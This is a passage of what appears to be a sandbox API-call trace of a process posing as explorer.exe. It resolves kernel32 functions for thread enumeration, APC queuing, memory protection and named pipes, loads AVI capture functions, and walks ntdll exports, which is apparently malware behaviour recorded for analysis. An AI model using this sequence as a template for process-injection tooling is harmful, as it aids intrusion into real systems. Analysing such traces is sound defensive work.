Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f43ef) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a13102) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4220) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4259) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4435) returned 0x0 [0044.669] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f34d5) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0d802) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0efec) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1828e) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4442) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f16dd) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f54ee) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1450) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f168c) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f103d) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1830d) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1700) returned 0x0 [0044.670] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1bb2f) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f89b3) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f17ec) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f328c) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4950) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1276c) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InterlockedExchange", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1462) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f3509) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1b18) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f196e) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4173) returned 0x0 [0044.671] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f3f5c) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f170d) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f11a9) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77362270) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773622b0) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4c6b) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0b6e0) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a74ae0) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0ec6f) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f111e) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a16dcb) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1136) returned 0x0 [0044.672] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769fdd0e) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x77372c42) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f495d) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1222) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0174d) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateProcessA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1072) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f418b) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4c1b) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a7436f) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f186e) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0192a) returned 0x0 [0044.673] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f59bf) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f11e0) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f14fb) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f49ad) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f492b) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1ae5) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f34c8) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f3ed3) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f17d1) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a75c3f) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1735f) returned 0x0 [0044.674] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a19f5d) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a75b93) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f11f8) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a01248) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1d53e) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769fe2ce) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a741df) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f469b) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5a96) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a71807) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a71f74) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a71c36) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a740fb) returned 0x0 [0044.675] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0cc79) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a6bce9) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f51a1) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773b742b) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f7a10) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4a45) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0d4dc) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a744cf) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1b25) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x773b5f41) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f1215) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f4407) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0ce2e) returned 0x0 [0044.676] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileSectionNamesW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a6a1ea) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileStringW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769fea48) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0d5cd) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileIntW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1298b) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f58a6) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0eb39) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a18baf) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a1896c) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a0ca80) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769fe29e) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a74c24) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x769f5414) returned 0x0 [0044.677] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x76a745bf) returned 0x0 [0044.677] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x2bfdb0 | out: BaseAddress=0x2bfdb0*=0x74910000) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74915fbd) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7491625e) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74915f9f) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74916479) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74916198) returned 0x0 [0045.936] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74916cbc) returned 0x0 [0045.937] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x7491625e) returned 0x0 [0045.937] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x749163f0) returned 0x0 [0045.937] LdrGetProcedureAddress (in: BaseAddress=0x74910000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x2bfdac | out: ProcedureAddress=0x2bfdac*=0x74916dde) returned 0x0 [0045.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdcc*=0x2c0000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x4, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdcc*=0x2c0000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdc0*=0x2c1000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x20, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdc0*=0x2c1000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.988] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdc0*=0x2ee000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x2, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdc0*=0x2ee000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdc0*=0x316000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x4, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdc0*=0x316000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdc0*=0x31a000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x4, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdc0*=0x31a000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x2bfdc0*=0x31c000, NumberOfBytesToProtect=0x2bfdb8, NewAccessProtection=0x2, OldAccessProtection=0x2bfdac | out: BaseAddress=0x2bfdc0*=0x31c000, NumberOfBytesToProtect=0x2bfdb8, OldAccessProtection=0x2bfdac*=0x40) returned 0x0 [0045.991] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x26a0000 [0046.001] GetTickCount () returned 0x1b579 [0046.001] GetModuleHandleA (lpModuleName=0x0) returned 0x3f0000 [0046.001] GetVersion () returned 0x1db10106 [0046.001] GetCurrentProcessId () returned 0xaf8 [0046.001] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xf8 [0046.002] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x208) returned 0x2a987d0 [0046.002] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x2a987d0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")) returned 0x20 [0046.002] RtlAllocateHeap (HeapHandle=0x26a0000, Flags=0x0, Size=0x1800) returned 0x2a989e0 [0046.003] HeapFree (in: hHeap=0x26a0000, dwFlags=0x0, lpMem=0x2a989e0 | out: hHeap=0x26a0000) returned 1 [0046.003] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0046.003] GetProcAddress (hModule=0x769e0000, lpProcName="IsWow64Process") returned 0x769f195e [0046.003] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf8) returned 0x100 [0046.003] IsWow64Process (in: hProcess=0x100, Wow64Process=0x2bfd6c | out: Wow64Process=0x2bfd6c) returned 1 [0046.003] CloseHandle (hObject=0x100) returned 1 [0046.003] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0046.003] lstrlenA (lpString="A_SHAFinal") returned 10 [0046.003] lstrlenA (lpString="A_SHAInit") returned 9 [0046.003] lstrlenA (lpString="A_SHAUpdate") returned 11 [0046.003] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0046.004] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0046.004] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0046.004] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0046.004] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0046.004] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0046.004] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0046.005] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0046.005] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0046.005] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0046.005] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0046.005] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0046.005] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0046.005] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0046.005] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0046.005] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0046.005] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0046.005] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0046.005] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0046.005] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0046.005] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0046.005] lstrlenA (lpString="CsrClientCallServer") returned 19 [0046.005] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0046.005] lstrlenA 